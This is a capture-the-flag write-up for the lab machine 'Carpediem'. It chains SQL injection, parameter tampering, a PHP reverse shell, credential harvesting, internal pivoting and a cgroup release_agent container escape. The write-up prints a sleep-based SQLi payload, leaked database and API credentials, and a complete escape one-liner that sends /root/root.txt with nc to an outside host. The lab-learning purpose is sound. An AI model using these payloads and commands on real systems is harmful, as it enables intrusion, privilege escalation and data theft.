Target's IP: 10.10.11.167

PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

Hostname revealed: carpediem.htb

Through subdomain enumeration, we can find a new domain name as well: portal.carpediem.htb

There is a request subject to SQL injection:

GET /?p=bikes&c=c4ca4238a0b923820dcc509a6f75849b'%2b(selectfrom(select(sleep(20)))a)%2b'

Automating with SQLmap, we can dump the entire database, including the admin's hash:

1,uploads/1635793020HONDAXADV.png,Male,<blank>,jhammond@carpediem.htb,Hammond,b723e511b084ab84b44235d82da572f3,admin,Jeremy,2021-01-20 14:02:37,NULL,1,202>

According to https://md5hashing.net/hash/md5/baced3bd752aaeec34fd9fe0a18f1ead:

b723e511b084ab84b44235d82da572f3 == azdzad

It turns out, this was a complete rabbithole, so...great.

Registering a user and managing your profile, in the update request there is a parameter that is not shown in the form on the web app, called logintype. It is automatically set to 2, but what happens if we intercept and change it to 1?

id=1011&logintype=1&firstname=aeta&lastname=aeta&contact=aeta&gender=Male&address=aeta&username=aeta&password=

You get admin privileges on the web app.

The app allows for php files upload in the functionality that is not fully released, so upload a php reverse shell and get your first shell of this box (many to come...)

We are inside a docker container as www-data. We can read all the files relative to the web application, so let's find something interesting there.

/var/www/html/portal/classes/DBConnection.php

private $host = 'mysql';
    private $username = 'portaldb';
    private $password = 'J5tnqsXpyzkK4XNt';
    private $database = 'portal';

trudesk.php

class TrudeskConnection{
    private $host = 'trudesk.carpediem.htb';
    private $apikey = 'f8691bd2d8d613ec89337b5cd5a98554f8fffcc4';
    private $username = 'svc-portal-tickets';
    private $password = '';
    private $database = '';
    
}

So we have a new host, trudesk.carpediem.htb.

Where is this? Probably inside other containers, upload a static nmap binary and scan the network:

nmap -sn 172.17.0.0/24

Nmap scan report for 172.17.0.1
Host is up (0.0013s latency).
Nmap scan report for 172.17.0.2
Host is up (0.00065s latency).
Nmap scan report for mysql (172.17.0.3)
Host is up (0.00045s latency).
Nmap scan report for 172.17.0.4
Host is up (0.00034s latency).
Nmap scan report for 172.17.0.5
Host is up (0.00026s latency).
Nmap scan report for 3c371615b7aa (172.17.0.6)

.0.1 open ports:
22, 80
.0.2
21,80,443
.0.3
3306
.0.4
27017
.0.5
8118
.0.6
80

After messing around a bit, you can connect to mongodb on 27017 (first set up chisel to port forward your requests to the internal network), which contains credentials for the Trudesk admin. The hash is a tough one to crack, but we can modify it and set it to one we like to hijack the admin's account:

> db.accounts.update({"id" : ObjectId("623c8b20855cc5001a8ba13c")}, {$set: {"password": "$2b$10$PEg1...3yI."}})

Now we can login to trudesk using admin and a known password.

One of the tickets says there is a new user that can login using zoiper to retrieve his new credentials, we can install zoiper and try to get those credentials to log into the machine. Instructions on how to use zoiper are provided in the ticket, including user id and what to type once you dial in.

use zoiper to listen to the message, password should be Au...Pk, you can guess the username looking at other accounts on Trudesk

hflaccus@carpediem:~$ cat user.txt

ad...2dcb

Enumerating the box, we have a private key for backdrop.carpediem.htb and we can listen with tcpdump on the docker0 interface, so we create a pcap and decode it locally using wireshark, and we find a set of credentials for a backdrop web app:

name=jpardella&pass=tG...dhY

This software is subject to a RCE vulnerability, we can install a module and get RCE as an unprivileged user.

Now we can escalate privileges because of a background process that executes index.php in /var/www/html/backdrop, where we have write access, so change index.php to launch a reverse shell and we are root inside the container.

Using deepce.sh, we notice that the container has dangerous capabilities, including capsysadmin, meaning we can docker escape and perform actions on the host machine, following what is discussed here:

https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/:

umount /tmp/cgrp && rm -rf /tmp/cgrp && mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x && echo 1 > /tmp/cgrp/x/notifyonrelease && hostpath=`sed -n 's/.\perdir=([^,])./\1/p' /etc/mtab` && echo "$hostpath/cmd" > /tmp/cgrp/releaseagent && echo '#!/bin/sh' > /cmd && echo "nc 10.10.14.24 8989 < /root/root.txt" >> /cmd && chmod a+x /cmd && sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

root.txt: 7a...13

We could also read root's ssh key and access the box for a more comfortable full compromise

Merry hacking ;)

React with 😡